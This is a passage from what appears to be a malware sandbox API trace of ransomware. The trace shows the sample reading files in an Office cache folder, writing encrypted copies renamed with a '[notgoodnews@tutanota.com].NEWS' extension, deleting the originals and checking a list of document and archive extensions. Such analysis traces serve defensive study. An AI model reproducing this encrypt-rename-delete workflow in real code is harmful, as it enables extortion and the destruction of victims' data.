hTemplateFile=0x0) returned 0x208 [0068.343] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x391ff1c | out: lpFileSize=0x391ff1c*=174440) returned 1 [0068.343] CloseHandle (hObject=0x208) returned 1 [0068.343] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020 [0068.344] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0068.344] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0068.344] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec8 | out: lpNewFilePointer=0x0) returned 1 [0068.344] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec8 | out: lpNewFilePointer=0x0) returned 1 [0068.344] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0068.344] GetLastError () returned 0x0 [0068.344] ReadFile (in: hFile=0x208, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x391fed4*=0x2a968, lpOverlapped=0x0) returned 1 [0068.744] WriteFile (in: hFile=0x1ec, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x391fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x391fc9c*=0x2a970, lpOverlapped=0x0) returned 1 [0068.750] ReadFile (in: hFile=0x208, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x391fed4*=0x0, lpOverlapped=0x0) returned 1 [0068.750] WriteFile (in: hFile=0x1ec, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x391fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x391fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0068.750] SetEndOfFile (hFile=0x1ec) returned 1 [0068.751] CloseHandle (hObject=0x1ec) returned 1 [0068.751] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec8 | out: lpNewFilePointer=0x0) returned 1 [0068.751] SetEndOfFile (hFile=0x208) returned 1 [0068.754] CloseHandle (hObject=0x208) returned 1 [0068.754] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0068.755] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 1 [0068.755] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0068.755] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0068.755] lstrlenW (lpString=".doc") returned 4 [0068.755] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0068.755] lstrlenW (lpString=".docx") returned 5 [0068.755] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0068.755] lstrlenW (lpString=".pdf") returned 4 [0068.755] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0068.755] lstrlenW (lpString=".xls") returned 4 [0068.755] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0068.756] lstrlenW (lpString=".xlsx") returned 5 [0068.756] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0068.756] lstrlenW (lpString=".ppt") returned 4 [0068.756] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0068.756] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0068.756] lstrlenW (lpString=".zip") returned 4 [0068.756] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0068.756] lstrlenW (lpString=".rar") returned 4 [0068.756] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0068.756] lstrlenW (lpString=".bz2") returned 4 [0068.756] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0068.756] lstrlenW (lpString=".7z") returned 3 [0068.756] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0068.756] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0068.756] lstrlenW (lpString=".dbf") returned 4 [0068.756] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0068.756] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0068.756] lstrlenW (lpString=".1cd") returned 4 [0068.756] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0068.756] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0068.756] lstrlenW (lpString=".jpg") returned 4 [0068.756] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0068.757] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0068.757] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0068.757] lstrlenW (lpString=".doc") returned 4 [0068.757] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0068.757] lstrlenW (lpString=".docx") returned 5 [0068.757] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0068.757] lstrlenW (lpString=".pdf") returned 4 [0068.757] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0068.757] lstrlenW (lpString=".xls") returned 4 [0068.757] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0068.757] lstrlenW (lpString=".xlsx") returned 5 [0068.757] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0068.757] lstrlenW (lpString=".ppt") returned 4 [0068.757] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0068.757] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0068.757] lstrlenW (lpString=".zip") returned 4 [0068.757] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0068.757] lstrlenW (lpString=".rar") returned 4 [0068.757] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0068.757] lstrlenW (lpString=".bz2") returned 4 [0068.757] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0068.757] lstrlenW (lpString=".7z") returned 3 [0068.758] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0068.758] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0068.758] lstrlenW (lpString=".dbf") returned 4 [0068.758] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0068.758] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0068.758] lstrlenW (lpString=".1cd") returned 4 [0068.758] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0068.758] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0068.758] lstrlenW (lpString=".jpg") returned 4 [0068.758] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0068.758] lstrcmpiW (lpString1=".cab", lpString2=".NEWS") returned -1 [0068.758] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0068.758] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0068.759] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x391ff1c | out: lpFileSize=0x391ff1c*=36233052) returned 1 [0068.759] CloseHandle (hObject=0x208) returned 1 [0068.759] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020 [0068.759] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0068.759] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 1 [0068.760] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0068.760] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fc6c | out: lpNewFilePointer=0x0) returned 1 [0068.760] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fc2c | out: lpNewFilePointer=0x0) returned 1 [0068.760] ReadFile (in: hFile=0x208, lpBuffer=0x3d90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x391fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d90058*, lpNumberOfBytesRead=0x391fc38*=0x40000, lpOverlapped=0x0) returned 1 [0068.771] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x391fc2c | out: lpNewFilePointer=0x0) returned 1 [0068.771] ReadFile (in: hFile=0x208, lpBuffer=0x3dd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x391fc38, lpOverlapped=0x0 | out: lpBuffer=0x3dd0058*, lpNumberOfBytesRead=0x391fc38*=0x40000, lpOverlapped=0x0) returned 1 [0068.794] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x391fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0069.107] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x391fc2c | out: lpNewFilePointer=0x0) returned 1 [0069.107] ReadFile (in: hFile=0x208, lpBuffer=0x3e10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x391fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e10058*, lpNumberOfBytesRead=0x391fc38*=0x40000, lpOverlapped=0x0) returned 1 [0069.127] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec8 | out: lpNewFilePointer=0x0) returned 1 [0069.127] WriteFile (in: hFile=0x208, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x391fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x391fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0069.173] SetEndOfFile (hFile=0x208) returned 1 [0069.173] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x4035008 [0069.173] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fc7c | out: lpNewFilePointer=0x0) returned 1 [0069.174] WriteFile (in: hFile=0x208, lpBuffer=0x4035008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x391fc88, lpOverlapped=0x0 | out: lpBuffer=0x4035008*, lpNumberOfBytesWritten=0x391fc88*=0x40000, lpOverlapped=0x0) returned 1 [0069.175] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x391fc7c | out: lpNewFilePointer=0x0) returned 1 [0069.175] WriteFile (in: hFile=0x208, lpBuffer=0x4035008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x391fc88, lpOverlapped=0x0 | out: lpBuffer=0x4035008*, lpNumberOfBytesWritten=0x391fc88*=0x40000, lpOverlapped=0x0) returned 1 [0069.177] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x391fc7c | out: lpNewFilePointer=0x0) returned 1 [0069.177] WriteFile (in: hFile=0x208, lpBuffer=0x4035008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x391fc88, lpOverlapped=0x0 | out: lpBuffer=0x4035008*, lpNumberOfBytesWritten=0x391fc88*=0x40000, lpOverlapped=0x0) returned 1 [0069.181] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4035008 | out: hHeap=0x5c0000) returned 1 [0069.181] CloseHandle (hObject=0x208) returned 1 [0069.181] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0069.182] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0069.182] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0069.182] lstrlenW (lpString=".doc") returned 4 [0069.182] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0069.182] lstrlenW (lpString=".docx") returned 5 [0069.182] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0069.182] lstrlenW (lpString=".pdf") returned 4 [0069.182] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0069.182] lstrlenW (lpString=".xls") returned 4 [0069.182] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0069.182] lstrlenW (lpString=".xlsx") returned 5 [0069.182] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0069.182] lstrlenW (lpString=".ppt") returned 4 [0069.182] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0069.182] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0069.182] lstrlenW (lpString=".zip") returned 4 [0069.182] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0069.182] lstrlenW (lpString=".rar") returned 4 [0069.182] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0069.182] lstrlenW (lpString=".bz2") returned 4 [0069.182] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0069.183] lstrlenW (lpString=".7z") returned 3 [0069.183] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0069.183] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0069.183] lstrlenW (lpString=".dbf") returned 4 [0069.183] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0069.183] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0069.183] lstrlenW (lpString=".1cd") returned 4 [0069.183] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0069.183] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0069.183] lstrlenW (lpString=".jpg") returned 4 [0069.183] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0069.183] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0069.183] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0069.183] lstrlenW (lpString=".doc") returned 4 [0069.183] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0069.183] lstrlenW (lpString=".docx") returned 5 [0069.183] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0069.183] lstrlenW (lpString=".pdf") returned 4 [0069.183] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0069.183] lstrlenW (lpString=".xls") returned 4 [0069.183] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0069.183] lstrlenW (lpString=".xlsx") returned 5 [0069.184] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0069.184] lstrlenW (lpString=".ppt") returned 4 [0069.184] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0069.184] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0069.184] lstrlenW (lpString=".zip") returned 4 [0069.184] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0069.184] lstrlenW (lpString=".rar") returned 4 [0069.184] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0069.184] lstrlenW (lpString=".bz2") returned 4 [0069.184] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0069.184] lstrlenW (lpString=".7z") returned 3 [0069.184] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0069.184] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0069.184] lstrlenW (lpString=".dbf") returned 4 [0069.184] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0069.184] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0069.184] lstrlenW (lpString=".1cd") returned 4 [0069.184] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0069.184] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0069.184] lstrlenW (lpString=".jpg") returned 4 [0069.364] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0069.364] lstrcmpiW (lpString1=".msi", lpString2=".NEWS") returned -1 [0069.364] lstrlenW (lpString="ProPlusrWW.msi") returned 14 [0069.364] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0069.365] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x391ff1c | out: lpFileSize=0x391ff1c*=27532288) returned 1 [0069.365] CloseHandle (hObject=0x1ac) returned 1 [0069.365] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi")) returned 0x2020 [0069.365] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0069.365] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 1 [0069.366] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0069.366] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fc6c | out: lpNewFilePointer=0x0) returned 1 [0069.366] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fc2c | out: lpNewFilePointer=0x0) returned 1 [0069.366] ReadFile (in: hFile=0x1ac, lpBuffer=0x3d90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x391fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d90058*, lpNumberOfBytesRead=0x391fc38*=0x40000, lpOverlapped=0x0) returned 1 [0069.775] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x8c0955, lpNewFilePointer=0x0, dwMoveMethod=0x391fc2c | out: lpNewFilePointer=0x0) returned 1 [0069.775] ReadFile (in: hFile=0x1ac, lpBuffer=0x3dd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x391fc38, lpOverlapped=0x0 | out: lpBuffer=0x3dd0058*, lpNumberOfBytesRead=0x391fc38*=0x40000, lpOverlapped=0x0) returned 1 [0070.518] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x391fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0070.518] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x1a01c00, lpNewFilePointer=0x0, dwMoveMethod=0x391fc2c | out: lpNewFilePointer=0x0) returned 1 [0070.518] ReadFile (in: hFile=0x1ac, lpBuffer=0x3e10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x391fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e10058*, lpNumberOfBytesRead=0x391fc38*=0x40000, lpOverlapped=0x0) returned 1 [0070.635] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.635] WriteFile (in: hFile=0x1ac, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x391fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x391fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0070.869] SetEndOfFile (hFile=0x1ac) returned 1 [0071.056] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x4035008 [0071.063] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fc7c | out: lpNewFilePointer=0x0) returned 1 [0071.063] WriteFile (in: hFile=0x1ac, lpBuffer=0x4035008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x391fc88, lpOverlapped=0x0 | out: lpBuffer=0x4035008*, lpNumberOfBytesWritten=0x391fc88*=0x40000, lpOverlapped=0x0) returned 1 [0071.064] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x8c0955, lpNewFilePointer=0x0, dwMoveMethod=0x391fc7c | out: lpNewFilePointer=0x0) returned 1 [0071.064] WriteFile (in: hFile=0x1ac, lpBuffer=0x4035008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x391fc88, lpOverlapped=0x0 | out: lpBuffer=0x4035008*, lpNumberOfBytesWritten=0x391fc88*=0x40000, lpOverlapped=0x0) returned 1 [0071.070] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x1a01c00, lpNewFilePointer=0x0, dwMoveMethod=0x391fc7c | out: lpNewFilePointer=0x0) returned 1 [0071.070] WriteFile (in: hFile=0x1ac, lpBuffer=0x4035008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x391fc88, lpOverlapped=0x0 | out: lpBuffer=0x4035008*, lpNumberOfBytesWritten=0x391fc88*=0x40000, lpOverlapped=0x0) returned 1 [0071.074] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4035008 | out: hHeap=0x5c0000) returned 1 [0071.074] CloseHandle (hObject=0x1ac) returned 1 [0071.074] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0071.074] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0071.074] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0071.074] lstrlenW (lpString=".doc") returned 4 [0071.074] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0071.074] lstrlenW (lpString=".docx") returned 5 [0071.074] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0071.075] lstrlenW (lpString=".pdf") returned 4 [0071.075] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0071.075] lstrlenW (lpString=".xls") returned 4 [0071.075] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0071.075] lstrlenW (lpString=".xlsx") returned 5 [0071.075] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0071.075] lstrlenW (lpString=".ppt") returned 4 [0071.075] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0071.075] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0071.075] lstrlenW 